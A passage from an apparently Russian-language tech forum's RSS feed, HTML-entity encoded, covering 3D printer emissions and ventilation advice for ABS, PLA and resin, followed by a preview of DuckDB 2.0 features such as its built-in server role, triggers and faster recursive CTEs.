1,28&#xD7;10&#x2074; &#x434;&#x43E; 3,42&#xD7;10&#x2078; &#x447;&#x430;&#x441;&#x442;&#x438;&#x446; &#x437;&#x430; &#x447;&#x430;&#x441;, &#x430; &#x43F;&#x43E; &#x43C;&#x430;&#x441;&#x441;&#x435; &#x43B;&#x438;&#x434;&#x438;&#x440;&#x443;&#x435;&#x442; ABS, &#x434;&#x430;&#x44E;&#x449;&#x438;&#x439; 4,46 &#x43C;&#x43A;&#x433;/&#x447; &#x43F;&#x440;&#x43E;&#x442;&#x438;&#x432; &#x43C;&#x435;&#x43D;&#x435;&#x435; 1 &#x43C;&#x43A;&#x433;/&#x447; &#x443; PLA. &#x421;&#x443;&#x43C;&#x43C;&#x430;&#x440;&#x43D;&#x43E; &#x437;&#x430;&#x444;&#x438;&#x43A;&#x441;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43D;&#x43E; &#x441;&#x432;&#x44B;&#x448;&#x435; 200 &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x44B;&#x445; &#x43B;&#x435;&#x442;&#x443;&#x447;&#x438;&#x445; &#x43E;&#x440;&#x433;&#x430;&#x43D;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438;&#x445; &#x441;&#x43E;&#x435;&#x434;&#x438;&#x43D;&#x435;&#x43D;&#x438;&#x439;; &#x441; ABS &#x441;&#x432;&#x44F;&#x437;&#x44B;&#x432;&#x430;&#x44E;&#x442; &#x441;&#x442;&#x438;&#x440;&#x43E;&#x43B;, &#x442;&#x43E;&#x43B;&#x443;&#x43E;&#x43B;, &#x43A;&#x441;&#x438;&#x43B;&#x43E;&#x43B;&#x44B;, &#x444;&#x43E;&#x440;&#x43C;&#x430;&#x43B;&#x44C;&#x434;&#x435;&#x433;&#x438;&#x434; &#x438; &#x44D;&#x442;&#x438;&#x43B;&#x431;&#x435;&#x43D;&#x437;&#x43E;&#x43B;. &#x412; &#x448;&#x43A;&#x43E;&#x43B;&#x44C;&#x43D;&#x44B;&#x445; &#x43F;&#x43E;&#x43C;&#x435;&#x449;&#x435;&#x43D;&#x438;&#x44F;&#x445; &#x438;&#x437; &#x432;&#x44B;&#x431;&#x43E;&#x440;&#x43A;&#x438; &#x43A;&#x43E;&#x43D;&#x446;&#x435;&#x43D;&#x442;&#x440;&#x430;&#x446;&#x438;&#x44F; &#x444;&#x43E;&#x440;&#x43C;&#x430;&#x43B;&#x44C;&#x434;&#x435;&#x433;&#x438;&#x434;&#x430; &#x43F;&#x440;&#x435;&#x432;&#x44B;&#x448;&#x430;&#x43B;&#x430; &#x446;&#x435;&#x43B;&#x435;&#x432;&#x43E;&#x439; &#x443;&#x440;&#x43E;&#x432;&#x435;&#x43D;&#x44C;, &#x434;&#x43E;&#x441;&#x442;&#x438;&#x433;&#x430;&#x44F; 20 &#x43C;&#x43A;&#x433;/&#x43C;&#xB3;. 

&#x412;&#x44B;&#x432;&#x43E;&#x434; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43F;&#x440;&#x438;&#x43A;&#x43B;&#x430;&#x434;&#x43D;&#x44B;&#x43C; &#x438; &#x431;&#x435;&#x437; &#x43D;&#x430;&#x433;&#x43D;&#x435;&#x442;&#x430;&#x43D;&#x438;&#x44F;: &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x442;&#x440;&#x438;&#x432;&#x430;&#x43D;&#x438;&#x435; &#x434;&#x435;&#x439;&#x441;&#x442;&#x432;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43F;&#x43E;&#x43C;&#x43E;&#x433;&#x430;&#x435;&#x442;. &#x41F;&#x435;&#x447;&#x430;&#x442;&#x44C; PLA &#x432; &#x432;&#x435;&#x43D;&#x442;&#x438;&#x43B;&#x438;&#x440;&#x443;&#x435;&#x43C;&#x43E;&#x439; &#x43A;&#x43E;&#x43C;&#x43D;&#x430;&#x442;&#x435; &#x434;&#x43E;&#x43F;&#x443;&#x441;&#x442;&#x438;&#x43C;&#x430;. &#x421;&#x438;&#x441;&#x442;&#x435;&#x43C;&#x430;&#x442;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x430;&#x44F; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430; &#x441; ABS &#x438; ASA &#x2014; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x432; &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x43E;&#x43C; &#x43A;&#x43E;&#x440;&#x43F;&#x443;&#x441;&#x435; &#x441; &#x444;&#x438;&#x43B;&#x44C;&#x442;&#x440;&#x43E;&#x43C; &#x438; &#x436;&#x435;&#x43B;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43D;&#x435; &#x432; &#x441;&#x43F;&#x430;&#x43B;&#x44C;&#x43D;&#x435;. &#x421;&#x443;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443;&#x435;&#x442; &#x438; &#x43F;&#x440;&#x43E;&#x444;&#x438;&#x43B;&#x44C;&#x43D;&#x44B;&#x439; &#x441;&#x442;&#x430;&#x43D;&#x434;&#x430;&#x440;&#x442; ANSI/CAN/UL 2904 &#x43D;&#x430; &#x438;&#x437;&#x43C;&#x435;&#x440;&#x435;&#x43D;&#x438;&#x435; &#x432;&#x44B;&#x431;&#x440;&#x43E;&#x441;&#x43E;&#x432; 3D-&#x43F;&#x440;&#x438;&#x43D;&#x442;&#x435;&#x440;&#x43E;&#x432;; &#x447;&#x430;&#x441;&#x442;&#x44C; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x435;&#x439; &#x441;&#x435;&#x440;&#x442;&#x438;&#x444;&#x438;&#x446;&#x438;&#x440;&#x443;&#x435;&#x442;&#x441;&#x44F; &#x43F;&#x43E; &#x43D;&#x435;&#x43C;&#x443;, &#x438; &#x44D;&#x442;&#x43E; &#x43F;&#x43E;&#x43A;&#x430; &#x435;&#x434;&#x438;&#x43D;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x430;&#x44F; &#x43E;&#x431;&#x44A;&#x435;&#x43A;&#x442;&#x438;&#x432;&#x43D;&#x430;&#x44F; &#x43C;&#x435;&#x442;&#x440;&#x438;&#x43A;&#x430; &#x432; &#x44D;&#x442;&#x43E;&#x439; &#x43E;&#x431;&#x43B;&#x430;&#x441;&#x442;&#x438;. 

&#x1F512; &#x411;&#x435;&#x437;&#x43E;&#x43F;&#x430;&#x441;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x421;&#x43E; &#x441;&#x43C;&#x43E;&#x43B;&#x43E;&#x439; &#x442;&#x440;&#x435;&#x431;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x44F; &#x436;&#x451;&#x441;&#x442;&#x447;&#x435;. &#x424;&#x43E;&#x442;&#x43E;&#x43F;&#x43E;&#x43B;&#x438;&#x43C;&#x435;&#x440; &#x43E;&#x442;&#x43D;&#x43E;&#x441;&#x438;&#x442;&#x441;&#x44F; &#x43A; &#x441;&#x435;&#x43D;&#x441;&#x438;&#x431;&#x438;&#x43B;&#x438;&#x437;&#x430;&#x442;&#x43E;&#x440;&#x430;&#x43C;: &#x43F;&#x43E;&#x43F;&#x430;&#x434;&#x430;&#x43D;&#x438;&#x435; &#x43D;&#x430; &#x43A;&#x43E;&#x436;&#x443; &#x43F;&#x440;&#x43E;&#x432;&#x43E;&#x446;&#x438;&#x440;&#x443;&#x435;&#x442; &#x430;&#x43B;&#x43B;&#x435;&#x440;&#x433;&#x438;&#x44E;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x430;&#x44F; &#x437;&#x430;&#x442;&#x435;&#x43C; &#x43D;&#x435; &#x43F;&#x440;&#x43E;&#x445;&#x43E;&#x434;&#x438;&#x442;. &#x41D;&#x443;&#x436;&#x43D;&#x44B; &#x43D;&#x438;&#x442;&#x440;&#x438;&#x43B;&#x43E;&#x432;&#x44B;&#x435; &#x43F;&#x435;&#x440;&#x447;&#x430;&#x442;&#x43A;&#x438; (&#x43B;&#x430;&#x442;&#x435;&#x43A;&#x441;&#x43D;&#x44B;&#x435; &#x43D;&#x435; &#x433;&#x43E;&#x434;&#x44F;&#x442;&#x441;&#x44F;), &#x437;&#x430;&#x449;&#x438;&#x442;&#x430; &#x433;&#x43B;&#x430;&#x437;, &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;&#x435; &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x442;&#x440;&#x438;&#x432;&#x430;&#x435;&#x43C;&#x43E;&#x435; &#x43F;&#x43E;&#x43C;&#x435;&#x449;&#x435;&#x43D;&#x438;&#x435;, &#x43E;&#x442;&#x43C;&#x44B;&#x432;&#x43A;&#x430; &#x432; &#x438;&#x437;&#x43E;&#x43F;&#x440;&#x43E;&#x43F;&#x430;&#x43D;&#x43E;&#x43B;&#x435; &#x432; &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x43E;&#x439; &#x442;&#x430;&#x440;&#x435; &#x438; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x44C;&#x43D;&#x430;&#x44F; &#x443;&#x442;&#x438;&#x43B;&#x438;&#x437;&#x430;&#x446;&#x438;&#x44F; &#x43E;&#x442;&#x440;&#x430;&#x431;&#x43E;&#x442;&#x43A;&#x438;. &#x421;&#x43B;&#x438;&#x432;&#x430;&#x442;&#x44C; &#x43D;&#x435;&#x43F;&#x43E;&#x43B;&#x438;&#x43C;&#x435;&#x440;&#x438;&#x437;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x443;&#x44E; &#x441;&#x43C;&#x43E;&#x43B;&#x443; &#x432; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x438;&#x437;&#x430;&#x446;&#x438;&#x44E; &#x43D;&#x435;&#x43B;&#x44C;&#x437;&#x44F;. 



&#x418;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x438;


Bambu Lab A1 mini &#x2014; &#x43E;&#x444;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x430;&#x44F; &#x442;&#x435;&#x445;&#x43D;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x430;&#x44F; &#x441;&#x43F;&#x435;&#x446;&#x438;&#x444;&#x438;&#x43A;&#x430;&#x446;&#x438;&#x44F; (PDF)
Bambu Lab A1 &#x2014; &#x442;&#x435;&#x445;&#x43D;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438;&#x435; &#x445;&#x430;&#x440;&#x430;&#x43A;&#x442;&#x435;&#x440;&#x438;&#x441;&#x442;&#x438;&#x43A;&#x438;
Bambu Lab A2L &#x2014; &#x430;&#x43D;&#x43E;&#x43D;&#x441; &#x441; &#x43F;&#x43E;&#x43B;&#x43D;&#x44B;&#x43C;&#x438; &#x445;&#x430;&#x440;&#x430;&#x43A;&#x442;&#x435;&#x440;&#x438;&#x441;&#x442;&#x438;&#x43A;&#x430;&#x43C;&#x438; &#x438; &#x446;&#x435;&#x43D;&#x430;&#x43C;&#x438;
Bambu Lab P1S &#x2014; &#x43A;&#x430;&#x440;&#x442;&#x43E;&#x447;&#x43A;&#x430; &#x432; &#x43E;&#x444;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x43C; &#x43C;&#x430;&#x433;&#x430;&#x437;&#x438;&#x43D;&#x435;
Bambu Lab P2S &#x2014; &#x43E;&#x431;&#x437;&#x43E;&#x440; Tom's Hardware &#x441; &#x438;&#x437;&#x43C;&#x435;&#x440;&#x435;&#x43D;&#x438;&#x44F;&#x43C;&#x438;
Bambu P2S: &#x434;&#x435;&#x442;&#x430;&#x43B;&#x438; &#x438; &#x446;&#x435;&#x43D;&#x44B; &#x2014; Hackster.io
Prusa CORE One &#x2014; &#x430;&#x43D;&#x43E;&#x43D;&#x441; &#x441; &#x445;&#x430;&#x440;&#x430;&#x43A;&#x442;&#x435;&#x440;&#x438;&#x441;&#x442;&#x438;&#x43A;&#x430;&#x43C;&#x438; &#x438; &#x446;&#x435;&#x43D;&#x430;&#x43C;&#x438;
Creality Ender-3 V3 KE &#x2014; &#x43E;&#x444;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x430;&#x44F; &#x441;&#x442;&#x440;&#x430;&#x43D;&#x438;&#x446;&#x430;
UL Chemical Insights &#x2014; The Impact of 3D Printing on Indoor Air Quality (PDF)


&#x1F4AC; &#x412;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x43A; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443; &#x414;&#x432;&#x430; &#x432;&#x43E;&#x43F;&#x440;&#x43E;&#x441;&#x430; &#x43A; &#x432;&#x43B;&#x430;&#x434;&#x435;&#x43B;&#x44C;&#x446;&#x430;&#x43C;. &#x41F;&#x435;&#x440;&#x432;&#x44B;&#x439;: &#x43A;&#x430;&#x43A;&#x430;&#x44F; &#x443; &#x432;&#x430;&#x441; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x44C; &#x438; &#x441;&#x43F;&#x443;&#x441;&#x442;&#x44F; &#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x432;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x438; &#x43F;&#x440;&#x438;&#x448;&#x43B;&#x43E; &#x43F;&#x43E;&#x43D;&#x438;&#x43C;&#x430;&#x43D;&#x438;&#x435;, &#x447;&#x442;&#x43E; &#x432;&#x44B;&#x431;&#x43E;&#x440; &#x431;&#x44B;&#x43B; &#x43D;&#x435;&#x432;&#x435;&#x440;&#x43D;&#x44B;&#x43C; &#x2014; &#x447;&#x435;&#x433;&#x43E; &#x43A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x43D;&#x43E; &#x43D;&#x435; &#x445;&#x432;&#x430;&#x442;&#x438;&#x43B;&#x43E;? &#x412;&#x442;&#x43E;&#x440;&#x43E;&#x439;, &#x431;&#x43E;&#x43B;&#x435;&#x435; &#x43F;&#x440;&#x438;&#x437;&#x435;&#x43C;&#x43B;&#x451;&#x43D;&#x43D;&#x44B;&#x439;: &#x442;&#x435;, &#x43A;&#x442;&#x43E; &#x43F;&#x435;&#x447;&#x430;&#x442;&#x430;&#x435;&#x442; ABS &#x438;&#x43B;&#x438; ASA &#x432; &#x43A;&#x432;&#x430;&#x440;&#x442;&#x438;&#x440;&#x435;, &#x43A;&#x430;&#x43A; &#x443; &#x432;&#x430;&#x441; &#x43E;&#x440;&#x433;&#x430;&#x43D;&#x438;&#x437;&#x43E;&#x432;&#x430;&#x43D;&#x430; &#x432;&#x44B;&#x442;&#x44F;&#x436;&#x43A;&#x430; &#x438; &#x43F;&#x43E;&#x447;&#x443;&#x432;&#x441;&#x442;&#x432;&#x43E;&#x432;&#x430;&#x43B;&#x430;&#x441;&#x44C; &#x43B;&#x438; &#x440;&#x430;&#x437;&#x43D;&#x438;&#x446;&#x430; &#x43F;&#x43E;&#x441;&#x43B;&#x435; &#x435;&#x451; &#x43F;&#x43E;&#x44F;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x44F;?</description><pubDate>Tue, 18 Aug 2026 19:30:12 +0000</pubDate></item><item><title>&#x412;&#x441;&#x442;&#x440;&#x430;&#x438;&#x432;&#x430;&#x435;&#x43C;&#x430;&#x44F; &#x431;&#x430;&#x437;&#x430; &#x43E;&#x442;&#x440;&#x430;&#x449;&#x438;&#x432;&#x430;&#x435;&#x442; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;: &#x447;&#x442;&#x43E; &#x433;&#x43E;&#x442;&#x43E;&#x432;&#x438;&#x442; DuckDB 2.0</title><link><![CDATA[https://openode.xyz/topic/2043-%D0%B2%D1%81%D1%82%D1%80%D0%B0%D0%B8%D0%B2%D0%B0%D0%B5%D0%BC%D0%B0%D1%8F-%D0%B1%D0%B0%D0%B7%D0%B0-%D0%BE%D1%82%D1%80%D0%B0%D1%89%D0%B8%D0%B2%D0%B0%D0%B5%D1%82-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80-%D1%87%D1%82%D0%BE-%D0%B3%D0%BE%D1%82%D0%BE%D0%B2%D0%B8%D1%82-duckdb-20/?do=findComment&comment=9213]]></link><description>DuckDB 2.0 &#xAB;Cyanoptera&#xBB; &#x2014; &#x430;&#x43D;&#x43E;&#x43D;&#x441; &#x43E;&#x43F;&#x443;&#x431;&#x43B;&#x438;&#x43A;&#x43E;&#x432;&#x430;&#x43D;, &#x440;&#x435;&#x43B;&#x438;&#x437; &#x43E;&#x436;&#x438;&#x434;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43E;&#x441;&#x435;&#x43D;&#x44C;&#x44E;

&#x410;&#x43D;&#x43E;&#x43D;&#x441; &#x43F;&#x440;&#x435;&#x432;&#x44C;&#x44E; DuckDB 2.0 &#x43F;&#x43E;&#x44F;&#x432;&#x438;&#x43B;&#x441;&#x44F; 17 &#x430;&#x432;&#x433;&#x443;&#x441;&#x442;&#x430;. &#x412;&#x435;&#x440;&#x441;&#x438;&#x438; &#x434;&#x430;&#x43B;&#x438; &#x43A;&#x43E;&#x434;&#x43E;&#x432;&#x43E;&#x435; &#x438;&#x43C;&#x44F; Cyanoptera, &#x440;&#x435;&#x43B;&#x438;&#x437; &#x437;&#x430;&#x43F;&#x43B;&#x430;&#x43D;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43D; &#x43D;&#x430; &#x43E;&#x441;&#x435;&#x43D;&#x44C; 2026 &#x433;&#x43E;&#x434;&#x430;. &#x417;&#x430; &#x432;&#x440;&#x435;&#x43C;&#x44F;, &#x43F;&#x440;&#x43E;&#x448;&#x435;&#x434;&#x448;&#x435;&#x435; &#x441; &#x432;&#x44B;&#x445;&#x43E;&#x434;&#x430; 1.5 &#x432; &#x43C;&#x430;&#x440;&#x442;&#x435;, &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x439; &#x432;&#x43E;&#x431;&#x440;&#x430;&#x43B; &#x441;&#x432;&#x44B;&#x448;&#x435; 10 000 &#x43A;&#x43E;&#x43C;&#x43C;&#x438;&#x442;&#x43E;&#x432; &#x2014; &#x438; &#x447;&#x430;&#x441;&#x442;&#x44C; &#x43D;&#x43E;&#x432;&#x448;&#x435;&#x441;&#x442;&#x432; &#x437;&#x430;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x44F;&#x435;&#x442; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x43C;&#x43E;&#x442;&#x440;&#x435;&#x442;&#x44C; &#x441;&#x430;&#x43C;&#x43E; &#x43E;&#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x435;&#x43D;&#x438;&#x435; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430;. 

&#x41D;&#x430;&#x447;&#x430;&#x442;&#x44C; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x441; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x43D;&#x43E;&#x439; &#x440;&#x43E;&#x43B;&#x438;, &#x432;&#x441;&#x442;&#x440;&#x43E;&#x435;&#x43D;&#x43D;&#x43E;&#x439; &#x43F;&#x440;&#x44F;&#x43C;&#x43E; &#x432; &#x434;&#x432;&#x438;&#x436;&#x43E;&#x43A;. &#x420;&#x430;&#x437;&#x440;&#x430;&#x431;&#x43E;&#x442;&#x447;&#x438;&#x43A;&#x438; &#x43F;&#x440;&#x435;&#x434;&#x441;&#x442;&#x430;&#x432;&#x438;&#x43B;&#x438; &#x43F;&#x440;&#x43E;&#x442;&#x43E;&#x43A;&#x43E;&#x43B; Quack &#x438; &#x43E;&#x43F;&#x435;&#x440;&#x430;&#x442;&#x43E;&#x440; CONNECT: &#x437;&#x430;&#x43F;&#x440;&#x43E;&#x441; &#x43C;&#x43E;&#x436;&#x43D;&#x43E; &#x430;&#x434;&#x440;&#x435;&#x441;&#x43E;&#x432;&#x430;&#x442;&#x44C; &#x443;&#x434;&#x430;&#x43B;&#x451;&#x43D;&#x43D;&#x43E;&#x439; &#x431;&#x430;&#x437;&#x435;, &#x432; &#x442;&#x43E;&#x43C; &#x447;&#x438;&#x441;&#x43B;&#x435; PostgreSQL &#x438;&#x43B;&#x438; MySQL, &#x43F;&#x440;&#x438;&#x447;&#x451;&#x43C; &#x444;&#x438;&#x43B;&#x44C;&#x442;&#x440;&#x44B; &#x438; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x446;&#x438;&#x438; &#x430;&#x432;&#x442;&#x43E;&#x43C;&#x430;&#x442;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438; &#x443;&#x435;&#x437;&#x436;&#x430;&#x44E;&#x442; &#x43D;&#x430; &#x438;&#x441;&#x43F;&#x43E;&#x43B;&#x43D;&#x435;&#x43D;&#x438;&#x435; &#x442;&#x43E;&#x439; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x435;. &#x424;&#x43E;&#x440;&#x43C;&#x443;&#x43B;&#x438;&#x440;&#x43E;&#x432;&#x43A;&#x430; &#xAB;&#x432;&#x441;&#x442;&#x440;&#x430;&#x438;&#x432;&#x430;&#x435;&#x43C;&#x430;&#x44F; &#x430;&#x43D;&#x430;&#x43B;&#x438;&#x442;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x430;&#x44F; &#x421;&#x423;&#x411;&#x414; &#x432; &#x43E;&#x434;&#x43D;&#x43E;&#x43C; &#x444;&#x430;&#x439;&#x43B;&#x435;&#xBB; &#x43F;&#x43E;&#x441;&#x43B;&#x435; &#x44D;&#x442;&#x43E;&#x433;&#x43E; &#x43E;&#x43F;&#x438;&#x441;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x43F;&#x440;&#x43E;&#x434;&#x443;&#x43A;&#x442; &#x43B;&#x438;&#x448;&#x44C; &#x447;&#x430;&#x441;&#x442;&#x438;&#x447;&#x43D;&#x43E;: &#x43E;&#x434;&#x438;&#x43D; &#x43F;&#x440;&#x43E;&#x446;&#x435;&#x441;&#x441; &#x441;&#x43F;&#x43E;&#x441;&#x43E;&#x431;&#x435;&#x43D; &#x43E;&#x431;&#x441;&#x43B;&#x443;&#x436;&#x438;&#x432;&#x430;&#x442;&#x44C; &#x441;&#x435;&#x442;&#x435;&#x432;&#x44B;&#x445; &#x43A;&#x43B;&#x438;&#x435;&#x43D;&#x442;&#x43E;&#x432;. 

&#x1F4CC; &#x417;&#x430;&#x43C;&#x435;&#x442;&#x43A;&#x430; &#x41F;&#x435;&#x440;&#x435;&#x434; &#x43D;&#x430;&#x43C;&#x438; &#x43F;&#x440;&#x435;&#x432;&#x44C;&#x44E;, &#x440;&#x435;&#x43B;&#x438;&#x437;&#x430; &#x435;&#x449;&#x451; &#x43D;&#x435;&#x442;. &#x41F;&#x435;&#x440;&#x435;&#x447;&#x438;&#x441;&#x43B;&#x435;&#x43D;&#x43D;&#x43E;&#x435; &#x437;&#x430;&#x44F;&#x432;&#x43B;&#x435;&#x43D;&#x43E; &#x430;&#x432;&#x442;&#x43E;&#x440;&#x430;&#x43C;&#x438; &#x43A;&#x430;&#x43A; &#x441;&#x43E;&#x434;&#x435;&#x440;&#x436;&#x438;&#x43C;&#x43E;&#x435; &#x433;&#x43E;&#x442;&#x43E;&#x432;&#x44F;&#x449;&#x435;&#x439;&#x441;&#x44F; &#x432;&#x435;&#x440;&#x441;&#x438;&#x438;, &#x438; &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x438;&#x442;&#x44C; &#x44D;&#x442;&#x43E; &#x43D;&#x430; &#x441;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x43E;&#x439; &#x43D;&#x430;&#x433;&#x440;&#x443;&#x437;&#x43A;&#x435; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x438;&#x442;&#x441;&#x44F; &#x43D;&#x435; &#x440;&#x430;&#x43D;&#x44C;&#x448;&#x435; &#x43E;&#x441;&#x435;&#x43D;&#x438;. &#x41F;&#x440;&#x438;&#x432;&#x435;&#x434;&#x451;&#x43D;&#x43D;&#x44B;&#x435; &#x434;&#x430;&#x43B;&#x435;&#x435; &#x446;&#x438;&#x444;&#x440;&#x44B; &#x432;&#x437;&#x44F;&#x442;&#x44B; &#x438;&#x437; &#x43E;&#x444;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x433;&#x43E; &#x430;&#x43D;&#x43E;&#x43D;&#x441;&#x430; &#x2014; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x43D;&#x438;&#x445; &#x437;&#x430;&#x43C;&#x435;&#x440;&#x43E;&#x432; &#x43F;&#x43E;&#x43A;&#x430; &#x43D;&#x438;&#x43A;&#x442;&#x43E; &#x43D;&#x435; &#x43F;&#x443;&#x431;&#x43B;&#x438;&#x43A;&#x43E;&#x432;&#x430;&#x43B;. 

&#x421;&#x43B;&#x435;&#x434;&#x443;&#x44E;&#x449;&#x430;&#x44F; &#x43F;&#x43E; &#x432;&#x430;&#x436;&#x43D;&#x43E;&#x441;&#x442;&#x438; &#x43D;&#x43E;&#x432;&#x43E;&#x441;&#x442;&#x44C; &#x2014; &#x442;&#x440;&#x438;&#x433;&#x433;&#x435;&#x440;&#x44B;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x445; &#x443; DuckDB &#x440;&#x430;&#x43D;&#x44C;&#x448;&#x435; &#x43D;&#x435; &#x441;&#x443;&#x449;&#x435;&#x441;&#x442;&#x432;&#x43E;&#x432;&#x430;&#x43B;&#x43E; &#x432;&#x43E;&#x43E;&#x431;&#x449;&#x435;. &#x41E;&#x431;&#x435;&#x449;&#x430;&#x43D;&#x44B; &#x432;&#x430;&#x440;&#x438;&#x430;&#x43D;&#x442;&#x44B; BEFORE &#x438; AFTER, &#x441;&#x440;&#x430;&#x431;&#x430;&#x442;&#x44B;&#x432;&#x430;&#x43D;&#x438;&#x435; &#x43D;&#x430; &#x43A;&#x430;&#x436;&#x434;&#x443;&#x44E; &#x441;&#x442;&#x440;&#x43E;&#x43A;&#x443; (FOR EACH ROW) &#x438; &#x43D;&#x430; &#x43E;&#x43F;&#x435;&#x440;&#x430;&#x442;&#x43E;&#x440; &#x446;&#x435;&#x43B;&#x438;&#x43A;&#x43E;&#x43C; (FOR EACH STATEMENT), &#x430; &#x442;&#x430;&#x43A;&#x436;&#x435; transition-&#x442;&#x430;&#x431;&#x43B;&#x438;&#x446;&#x44B; &#x447;&#x435;&#x440;&#x435;&#x437; REFERENCING OLD/NEW TABLE. &#x414;&#x43B;&#x44F; &#x441;&#x438;&#x441;&#x442;&#x435;&#x43C;&#x44B; &#x441; &#x440;&#x435;&#x43F;&#x443;&#x442;&#x430;&#x446;&#x438;&#x435;&#x439; &#xAB;read-mostly &#x434;&#x432;&#x438;&#x436;&#x43A;&#x430; &#x43D;&#x430;&#x434; Parquet&#xBB; &#x44D;&#x442;&#x43E; &#x43E;&#x449;&#x443;&#x442;&#x438;&#x43C;&#x43E;&#x435; &#x441;&#x43C;&#x435;&#x449;&#x435;&#x43D;&#x438;&#x435; &#x432; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x443; OLTP-&#x441;&#x435;&#x43C;&#x430;&#x43D;&#x442;&#x438;&#x43A;&#x438;. 

&#x41E;&#x431;&#x435;&#x449;&#x430;&#x43D;&#x43D;&#x44B;&#x435; &#x43F;&#x43E;&#x43A;&#x430;&#x437;&#x430;&#x442;&#x435;&#x43B;&#x438;

&#x413;&#x440;&#x43E;&#x43C;&#x447;&#x435; &#x432;&#x441;&#x435;&#x433;&#x43E; &#x437;&#x432;&#x443;&#x447;&#x438;&#x442; &#x440;&#x435;&#x437;&#x443;&#x43B;&#x44C;&#x442;&#x430;&#x442; &#x43F;&#x435;&#x440;&#x435;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x43D;&#x43E;&#x433;&#x43E; &#x438;&#x441;&#x43F;&#x43E;&#x43B;&#x43D;&#x438;&#x442;&#x435;&#x43B;&#x44F; &#x440;&#x435;&#x43A;&#x443;&#x440;&#x441;&#x438;&#x432;&#x43D;&#x44B;&#x445; CTE. &#x417;&#x430;&#x43F;&#x440;&#x43E;&#x441; &#x43D;&#x430; &#x434;&#x43E;&#x441;&#x442;&#x438;&#x436;&#x438;&#x43C;&#x43E;&#x441;&#x442;&#x44C; &#x432; &#x433;&#x440;&#x430;&#x444;&#x435; &#x43E;&#x442;&#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x43B; &#x442;&#x430;&#x43A;: 


&#x412;&#x435;&#x440;&#x441;&#x438;&#x44F;&#x412;&#x440;&#x435;&#x43C;&#x44F;
v1.5.44,90 &#x441;
v2.00,12 &#x441;


